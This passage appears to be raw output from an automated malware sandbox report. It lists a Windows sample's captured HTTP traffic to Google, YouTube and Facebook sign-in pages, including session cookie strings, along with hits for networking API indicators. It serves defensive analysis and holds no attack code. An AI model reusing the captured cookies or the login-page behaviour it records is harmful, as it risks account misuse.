/MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D" Found http requests in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D" Found http requests in header "GET /r2m04.crl" Found http requests in header "GET /wr2/oQ6nyr8F0m0.crl"50:T3b5b,Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWRConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S-1238648160:1789398233068167 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWR"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWR"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWR"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWR"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWR"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S1562754874:1789398237553582 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWRConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S506201653:1789398259040358 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWRConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "POST /v3/signin/identifier?continue=https://accounts.google.com/&dsh=S506201653:1789398259040358&flowEntry=ServiceLogin&flowName=WebLiteSignIn&followup=https://accounts.google.com/ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: accounts.google.comContent-Length: 245DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWRidentifier=&hiddenPassword=&usi=S506201653%3A1789398259040358&domain=®ion=US&=&bgresponse=FNLReferenceError%3A+%27Symbol%27+is+undefined&pstMsg=1&checkConnection=&checkedDomains=youtube&action=1&at=ALTjPXMXnksnmbjJ2b-dhWzxJhX_%3A1789398259179"; in File: "SSL") Found requests in header "POST /v3/signin/identifier?checkConnection&checkedDomains=youtube&continue=https://accounts.google.com/&dsh=S506201653:1789398259040358&flowEntry=ServiceLogin&flowName=WebLiteSignIn&followup=https://accounts.google.com/&pstMsg=1 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: accounts.google.comContent-Length: 245DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWRidentifier=&hiddenPassword=&usi=S506201653%3A1789398259040358&domain=®ion=US&=&bgresponse=FNLReferenceError%3A+%27Symbol%27+is+undefined&pstMsg=1&checkConnection=&checkedDomains=youtube&action=1&at=ALTjPXMQmEVi97MHrXXBALR8LXzb%3A1789398283476"; in File: "SSL") Found requests in header "POST /v3/signin/identifier?checkConnection&checkedDomains=youtube&continue=https://accounts.google.com/&dsh=S506201653:1789398259040358&flowEntry=ServiceLogin&flowName=WebLiteSignIn&followup=https://accounts.google.com/&pstMsg=1 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: accounts.google.comContent-Length: 245DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWRidentifier=&hiddenPassword=&usi=S506201653%3A1789398259040358&domain=®ion=US&=&bgresponse=FNLReferenceError%3A+%27Symbol%27+is+undefined&pstMsg=1&checkConnection=&checkedDomains=youtube&action=1&at=ALTjPXMOJeRSKqJ5hTSuiFXWQqPP%3A1789398312364"; in File: "SSL") Found requests in header "POST /v3/signin/identifier?checkConnection&checkedDomains=youtube&continue=https://accounts.google.com/&dsh=S506201653:1789398259040358&flowEntry=ServiceLogin&flowName=WebLiteSignIn&followup=https://accounts.google.com/&pstMsg=1 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: accounts.google.comContent-Length: 245DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWRidentifier=&hiddenPassword=&usi=S506201653%3A1789398259040358&domain=®ion=US&=&bgresponse=FNLReferenceError%3A+%27Symbol%27+is+undefined&pstMsg=1&checkConnection=&checkedDomains=youtube&action=1&at=ALTjPXNscdFWCVrCP4pftZx8ebuL%3A1789398342415"; in File: "SSL") Found requests in header "GET /images/branding/googlelogo/2x/googlelogo_color_74x24dp.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: ssl.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.facebook.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /accounts/CheckConnection?pmpo=https://accounts.google.com&v=709036980×tamp=1789398231948 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba"; in File: "SSL") Found requests in header "GET /accounts/CheckConnection?pmpo=https://accounts.google.com&v=-1309286889×tamp=1789398235916 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba"; in File: "SSL") Found requests in header "GET /accounts/CheckConnection?pmpo=https://accounts.google.com&v=-971699339×tamp=1789401725860 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=n6fo-NMCNZagVjBCZ7jkKoTzF9LXbb1q24BOUsqKnAXDnUJzAKA3KBoPZ0PpoNpwoJUzI50OTgZtQvpt7ZfYjllWiFPBhvfJkoqnZIpfObA4Are1QDxwu1JtASnW1NPwPRsH37z25qvbCRNWBI5prb7cZhrF2sMwC1dx8DgI9RiGZEwZlKb6i6ttiybeDc5MAoy7wNbdRXxDwqDag928USmaDwiw-_hBVIA8gqwTBBsCBQtlMOp71DzuCmzBWmhb4q3_MYCHmk_IlZQoHDihRqs48oTdktm_4ufgfDLEDON49NtN20yScky5zZkf_f7kkyJbU0vGdidVwNyss3Tgag; hideBrowserUpgradeBox=true; __Secure-ROLLOUT_TOKEN=CPDVpdCAgsPNmwEQhaLF-qvulgMYhaLF-qvulgM%3D; VISITOR_INFO1_LIVE=3LgO02v2FQQ; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgRg%3D%3D; YSC=eUrwGWM7R7U"; in File: "SSL") Found requests in header "GET /accounts/CheckConnection?pmpo=https://accounts.google.com&v=804232918×tamp=1789406294480 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=n6fo-NMCNZagVjBCZ7jkKoTzF9LXbb1q24BOUsqKnAXDnUJzAKA3KBoPZ0PpoNpwoJUzI50OTgZtQvpt7ZfYjllWiFPBhvfJkoqnZIpfObA4Are1QDxwu1JtASnW1NPwPRsH37z25qvbCRNWBI5prb7cZhrF2sMwC1dx8DgI9RiGZEwZlKb6i6ttiybeDc5MAoy7wNbdRXxDwqDag928USmaDwiw-_hBVIA8gqwTBBsCBQtlMOp71DzuCmzBWmhb4q3_MYCHmk_IlZQoHDihRqs48oTdktm_4ufgfDLEDON49NtN20yScky5zZkf_f7kkyJbU0vGdidVwNyss3Tgag; hideBrowserUpgradeBox=true; __Secure-ROLLOUT_TOKEN=CPDVpdCAgsPNmwEQhaLF-qvulgMYhaLF-qvulgM%3D; VISITOR_INFO1_LIVE=3LgO02v2FQQ; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgRg%3D%3D; YSC=eUrwGWM7R7U"; in File: "SSL") Found requests in header "GET /accounts/CheckConnection?pmpo=https://accounts.google.com&v=-782920482×tamp=1789406388005 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=n6fo-NMCNZagVjBCZ7jkKoTzF9LXbb1q24BOUsqKnAXDnUJzAKA3KBoPZ0PpoNpwoJUzI50OTgZtQvpt7ZfYjllWiFPBhvfJkoqnZIpfObA4Are1QDxwu1JtASnW1NPwPRsH37z25qvbCRNWBI5prb7cZhrF2sMwC1dx8DgI9RiGZEwZlKb6i6ttiybeDc5MAoy7wNbdRXxDwqDag928USmaDwiw-_hBVIA8gqwTBBsCBQtlMOp71DzuCmzBWmhb4q3_MYCHmk_IlZQoHDihRqs48oTdktm_4ufgfDLEDON49NtN20yScky5zZkf_f7kkyJbU0vGdidVwNyss3Tgag; hideBrowserUpgradeBox=true; __Secure-ROLLOUT_TOKEN=CPDVpdCAgsPNmwEQhaLF-qvulgMYhaLF-qvulgM%3D; VISITOR_INFO1_LIVE=3LgO02v2FQQ; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgRg%3D%3D; YSC=eUrwGWM7R7U"; in File: "SSL") Found requests in header "GET /accounts/CheckConnection?pmpo=https://accounts.google.com&v=-1354894770×tamp=1789406542370 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=n6fo-NMCNZagVjBCZ7jkKoTzF9LXbb1q24BOUsqKnAXDnUJzAKA3KBoPZ0PpoNpwoJUzI50OTgZtQvpt7ZfYjllWiFPBhvfJkoqnZIpfObA4Are1QDxwu1JtASnW1NPwPRsH37z25qvbCRNWBI5prb7cZhrF2sMwC1dx8DgI9RiGZEwZlKb6i6ttiybeDc5MAoy7wNbdRXxDwqDag928USmaDwiw-_hBVIA8gqwTBBsCBQtlMOp71DzuCmzBWmhb4q3_MYCHmk_IlZQoHDihRqs48oTdktm_4ufgfDLEDON49NtN20yScky5zZkf_f7kkyJbU0vGdidVwNyss3Tgag; hideBrowserUpgradeBox=true; __Secure-ROLLOUT_TOKEN=CPDVpdCAgsPNmwEQhaLF-qvulgMYhaLF-qvulgM%3D; VISITOR_INFO1_LIVE=3LgO02v2FQQ; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgRg%3D%3D; YSC=eUrwGWM7R7U"; in File: "SSL") Found requests in header "GET /accounts/CheckConnection?pmpo=https://accounts.google.com&v=-1177863707×tamp=1789406641756 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=n6fo-NMCNZagVjBCZ7jkKoTzF9LXbb1q24BOUsqKnAXDnUJzAKA3KBoPZ0PpoNpwoJUzI50OTgZtQvpt7ZfYjllWiFPBhvfJkoqnZIpfObA4Are1QDxwu1JtASnW1NPwPRsH37z25qvbCRNWBI5prb7cZhrF2sMwC1dx8DgI9RiGZEwZlKb6i6ttiybeDc5MAoy7wNbdRXxDwqDag928USmaDwiw-_hBVIA8gqwTBBsCBQtlMOp71DzuCmzBWmhb4q3_MYCHmk_IlZQoHDihRqs48oTdktm_4ufgfDLEDON49NtN20yScky5zZkf_f7kkyJbU0vGdidVwNyss3Tgag; hideBrowserUpgradeBox=true; __Secure-ROLLOUT_TOKEN=CPDVpdCAgsPNmwEQhaLF-qvulgMYhaLF-qvulgM%3D; VISITOR_INFO1_LIVE=3LgO02v2FQQ; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgRg%3D%3D; YSC=eUrwGWM7R7U"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoDNT: 1Connection: Keep-AliveHost: www.google.com"; in File: "SSL") Found requests in header "GET /rsrc.php/v5/yP/l/0,cross/E2d9v-WFVIcB4uEiwLtX0vxgo-3469oiGGxG-roDaQsdT9DWDYPz6DhfgQe914iiBfONMKn3YhINqU49pVNahkCkvx2I9b7Pb8KWpaE_brMCJG.css HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yH/r/uR_TIYVE0g0.eot HTTP/1.1Accept: */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.facebook.comAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL")51:T938,Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00002712-00000C2C-353498073") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00002712-00000C2C-353498457")52:T4f5,Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; File: "00002712.00000A98.14734055.00473000.wprm") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "00002712.00000A98.14734055.00473000.wprm")53:T91a,file/memory contains long string with (Indicator: " connect "; File: "dnserror_1_") Found reference to API "inet_ntoa" (Indicator: "inet_ntoa"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "inet_addr" (Indicator: "inet_addr"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "__WSAFDIsSet" (Indicator: "__wsafdisset"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "gethostbyname" (Indicator: "gethostbyname"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "gethostname" (Indicator: "gethostname"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "WSAStartup" (Indicator: "wsastartup"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "Do you accept all of the terms of the preceding License Agreement? If you choose No, Install will close. To install you must accept this agreement." (Indicator: " accept "; Source: "00000000-00000292.00000000.82576.012CA000.00000002.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00000292.00000000.82576.01370000.00000002.mdmp, 00000000-00000292.00000001.84498.01370000.00000002.mdmp") Found reference to API "Do you accept all of the terms of the preceding License Agreement? If you choose No, Install will close. To install you must accept this agreement." (Indicator: " accept "; Source: "00000000-00001476.00000000.82470.0115A000.00000002.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00001476.00000000.82470.012B0000.00000002.mdmp, 00000000-00001476.00000001.84396.012B0000.00000002.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00002204.00000000.85514.01480000.00000002.mdmp")54:T9f86,"GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive" "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWRConnection: Keep-AliveDNT: 1" "GET /v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S-1238648160:1789398233068167 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWR" "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWR;Path=/;Expires=Wed, 13-Sep-2028 15:03:52 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-0vIBhyOTz097DjKxSGuE1Q' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Mon, 14 Sep 2026 15:03:52 GMTExpires: Mon, 14 Sep 2026 15:03:52 GMTCache-Control: private, max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked" "0000000100000001�000000010000000100010fc��P�j�@��[Kz�5)ڮS�X0��㲙��6��f�y�X!�eⱂ��m�C�<��'"�QK�v?��S�1r�-�.��Ig9w�p�Q� �X�o٭' 'Ts�!��H�x %Ł��3N/�J�p�ֈu�A/��vx�4��M��E�_�f�ݗ�c��n��[�8c��<�K�'h`4MB��%&��K�Y��m", "HTTP/1.1 302 FoundContent-Type: application/binaryCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 14 Sep 2026 15:03:53 GMTLocation: https://accounts.google.com/v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S-1238648160:1789398233068167Strict-Transport-Security: max-age=31536000; includeSubDomainsPermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Resource-Policy: cross-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportContent-Security-Policy: script-src 'nonce-fWG0lAutTZSJh0pnPpHRZg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: unsafe-noneServer: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000", "HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: DENYVary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Sitex-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/x-ua-compatible: IE=edgeCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 